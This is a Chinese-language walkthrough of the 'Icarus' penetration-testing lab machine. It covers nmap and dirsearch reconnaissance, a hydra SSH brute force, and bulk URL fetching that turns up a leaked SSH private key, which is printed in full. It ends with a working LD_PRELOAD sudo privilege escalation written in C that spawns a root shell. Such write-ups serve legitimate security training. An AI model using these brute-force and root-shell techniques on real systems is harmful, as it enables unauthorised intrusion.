红队专项·Icarus
字数 1347 2025-08-10 20:35:57

Icarus渗透测试实战教学文档

信息收集阶段

网络扫描

  1. 初始扫描

    • 命令:nmap -sT --min-rate 10000 -p- 192.168.56.0/24
    • 发现目标IP:192.168.56.101
    • 开放端口:22(SSH)、80(HTTP)
  2. 详细扫描

    • 命令:nmap -sT -sV -sC -A -p22,80 192.168.56.101
    • 发现服务版本:
      • SSH: OpenSSH 7.9p1 Debian 10+deb10u2
      • HTTP: nginx 1.14.2
    • 操作系统:Linux

服务渗透

SSH服务渗透尝试

  • 使用hydra进行爆破:
    • 命令:hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101 -t 4
    • 结果:爆破未成功

HTTP服务渗透

  1. 目录爆破

    • 工具:dirsearch
    • 命令:dirsearch -u http://192.168.56.101/
    • 发现敏感目录:
      • /a (200)
      • /check.php (200)
      • /index.php (200)
      • /login.php (302重定向到index.php)
      • /xml (200)
  2. Web应用程序探测

    • 工具:whatweb
    • 命令:whatweb http://192.168.56.101
    • 发现:HTML5、nginx/1.14.2、登录表单(password字段)
  3. SQL注入尝试

    • 使用sqlmap:
    • 命令:sqlmap --random-agent -r sql --batch
    • 结果:失败
  4. 私钥泄露发现

    • 通过/a文件进行模糊测试发现所有下级目录返回200状态码
    • 使用脚本批量获取内容:
      for i in $(cat url); do curl "http://192.168.56.101/$i" >> curl.output; done
      
    • 或使用Python脚本:
      import requests
      result = ""
      with open("curl") as fa:
          lines = fa.readlines()
          total = len(lines)
          count = 0
          for line in lines:
              url = f"http://192.168.56.101/{line.strip()}"
              r = requests.get(url)
              r.encoding = 'utf-8'
              result += r.text
              count += 1
              print(f"Now getting:{count}/{total}",end="\r")
      with open("curl.output","w") as fk:
          fk.write(result)
      print("\nAll done!")
      
    • 发现SSH私钥:
      -----BEGIN OPENSSH PRIVATE KEY-----
      b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
      NhAAAAAwEAAQAAAQEA5xagxLiN5ObhPjNcs2I2ckcYrErKaunOwm40kTBnJ6vrbdRYHteS
      afNWC6xFFzwO77+Kze229eK4ddZcwmU0IdN02Y8nYrxhl8lOc+e5T0Ajz+tRmLGoxJVPsS
      TzKBERlWpKuJoGO/CEFLOv6PP6s79YYzZFpdUjaczY96jgICftzNZS+VkBXuLjKr79h4Tw
      z7BK4V6FEQY0hwT8NFfNrF3x3VPe0UstdiUJFl4QV/qAPlHVhPd0YUEPr/95mryjuGi1xw
      P7xVFrYyjLfPepqYHiS5LZxFewLWhhSjBOI0dzf/TwiNRnVGTZhB3GemgEIQRAam26jkZZ
      3BxkrUVckQAAA8jfk7Jp35OyaQAAAAdzc2gtcnNhAAABAQDnFqDEuI3k5uE+M1yzYjZyRx
      isSspq6c7CbjSRMGcnq+tt1Fge15Jp81YLrEUXPA7vv4rN7bb14rh11lzCZTQh03TZjydiv
      GGXyU5z57lPQCPP61GYsajElU+xJPMoERGVakq4mgY78IQUs6/o8/qzv1hjNkWl1SNpzNj
      3qOAgJ+3M1lL5WQFe4uMqvv2HhPDPsErhXoURBjSHBPw0V82sXfHdU97RSy12JQkWXhBX+
      oA+UdWE93RhQQ+v/3mavKO4aLXHA/vFUWtjKMt896mpgeJLktnEV7AtaGFKME4jR3N/9PCI
      1GdUZNmEHcZ6aAQhBEBqbbqORlncHGStRVyRAAAAAwEAAQAAAQEAvdjwMU1xfTlUmPY3VU
      P9ePsBwSIck6ML8t35H8KFLKln3C4USxpNNe/so+BeTo1PtBVHYpDFu9IMOvrl7+qW3qdL
      GyUpdUtQXhPK+RvJONt30GwB+BEUlpQYCW9SuHr1WCwfwPMA5iNdT2ijvx0ZvKwZYECJDY
      lB87yQDz7VCnRTiQGP2Mqiiwb7vPd/t386Y+cAz1cVl7BnHzWWJTUTkKCwijnvjYrD0otT
      QX4sGd6CrI44g+L8hnYuCZz+a0j6IyUfXJqj6l+/Z2Af7pJjbJD3P28xX7eY0h1Cec2l/s
      b7qg2wy0qJNywJ35l8bZzZKjkXztPLOqMFQ6Fh0BqSdQAAAIEAlaH0ZEzJsZoR3QqcKlxR
      KjVcuQCwcrKlNbJu2qRuUG812CLb9jJxJxacJPBV0NS832c+hZ3BiLtA5FwCiGlGq5m5HS
      3odf3lLXDfIK+pur4OWKBNLDxKbqi4s4M05vR4gHkmotiH9eWlCNuqL46Ip5H1vFXeJMpL
      RLN0gqOGuQQAAACBAPfffuhidAgUZH/yTvATKC5lcGrE7bkpOq+6XMMgxEQl0Hzry76irG
      XkhTY4QUtthYo4+g7jiDzKlbeaS7aN8RYq38GzQnZZQcSdvL1yB/N554gQvzJLvmKQbmgL
      hMRcdDmifUelJYXib2Mjg/BLaRXaEzOomUKR2nyJH7VgU+xzAAAAgQDuqkBp44indqhxwrz
      bfeLnzQqpZ/rMZXGcvJUttECRbLRfohUftFE5J0PKuT8w0dpacNCVgkT9A0Tc3xRfkyECB
      QjeKLvdhcufJhQl0pdXDt1cpebE50LE4yHc8vR6FEjhR4P2AbGICJyRS7AX7UnrOWdUIE3
      FeNP0r5UiSDq16wAAAA1pY2FydXNAaWNhcnVzAQIDBA==
      -----END OPENSSH PRIVATE KEY-----
      
  5. 分析私钥

    • 命令:ssh-keygen -y -f id_rsa
    • 输出公钥并发现用户名:icarus@icarus
  6. SSH登录

    • 使用私钥登录:
      chmod 600 id_rsa
      ssh -i id_rsa icarus@192.168.56.101
      
    • 成功获取user权限的flag

权限提升

  1. 检查sudo权限

    • 命令:sudo -l
    • 发现:
      • env_keep+=LD_PRELOAD
      • 允许以root身份执行/usr/bin/id
  2. LD_PRELOAD提权

    • 创建C脚本shell.c:
      #include <stdio.h>
      #include <sys/types.h>
      #include <stdlib.h>
      
      void _init() {
          unsetenv("LD_PRELOAD");
          setgid(0);
          setuid(0);
          system("/bin/bash");
      }
      
    • 编译为共享库:
      gcc -fPIC -shared -o shell.so shell.c -nostartfiles
      
    • 执行提权:
      sudo LD_PRELOAD=/tmp/shell.so id
      
    • 成功获取root shell,可读取root权限的flag

关键知识点总结

  1. 信息收集

    • 使用nmap进行网络扫描和版本探测
    • 目录爆破工具的使用(dirsearch)
  2. Web渗透

    • 敏感文件泄露的发现和利用
    • 批量获取web内容的脚本编写
  3. SSH私钥利用

    • 私钥格式识别
    • 使用ssh-keygen分析私钥
    • 使用私钥进行SSH认证
  4. 权限提升

    • sudo -l检查sudo权限
    • LD_PRELOAD环境变量提权原理
    • 编写和编译共享库进行提权
  5. 工具使用

    • nmap
    • hydra
    • dirsearch
    • whatweb
    • sqlmap
    • ssh-keygen
    • gcc编译共享库

参考资源

Icarus渗透测试实战教学文档 信息收集阶段 网络扫描 初始扫描 : 命令: nmap -sT --min-rate 10000 -p- 192.168.56.0/24 发现目标IP:192.168.56.101 开放端口:22(SSH)、80(HTTP) 详细扫描 : 命令: nmap -sT -sV -sC -A -p22,80 192.168.56.101 发现服务版本: SSH: OpenSSH 7.9p1 Debian 10+deb10u2 HTTP: nginx 1.14.2 操作系统:Linux 服务渗透 SSH服务渗透尝试 使用hydra进行爆破: 命令: hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101 -t 4 结果:爆破未成功 HTTP服务渗透 目录爆破 : 工具:dirsearch 命令: dirsearch -u http://192.168.56.101/ 发现敏感目录: /a (200) /check.php (200) /index.php (200) /login.php (302重定向到index.php) /xml (200) Web应用程序探测 : 工具:whatweb 命令: whatweb http://192.168.56.101 发现:HTML5、nginx/1.14.2、登录表单(password字段) SQL注入尝试 : 使用sqlmap: 命令: sqlmap --random-agent -r sql --batch 结果:失败 私钥泄露发现 : 通过/a文件进行模糊测试发现所有下级目录返回200状态码 使用脚本批量获取内容: 或使用Python脚本: 发现SSH私钥: 分析私钥 : 命令: ssh-keygen -y -f id_rsa 输出公钥并发现用户名:icarus@icarus SSH登录 : 使用私钥登录: 成功获取user权限的flag 权限提升 检查sudo权限 : 命令: sudo -l 发现: env_ keep+=LD_ PRELOAD 允许以root身份执行/usr/bin/id LD_ PRELOAD提权 : 创建C脚本shell.c: 编译为共享库: 执行提权: 成功获取root shell,可读取root权限的flag 关键知识点总结 信息收集 : 使用nmap进行网络扫描和版本探测 目录爆破工具的使用(dirsearch) Web渗透 : 敏感文件泄露的发现和利用 批量获取web内容的脚本编写 SSH私钥利用 : 私钥格式识别 使用ssh-keygen分析私钥 使用私钥进行SSH认证 权限提升 : sudo -l检查sudo权限 LD_ PRELOAD环境变量提权原理 编写和编译共享库进行提权 工具使用 : nmap hydra dirsearch whatweb sqlmap ssh-keygen gcc编译共享库 参考资源 LD_ PRELOAD提权原理 OpenSSH私钥格式分析 Linux共享库编译方法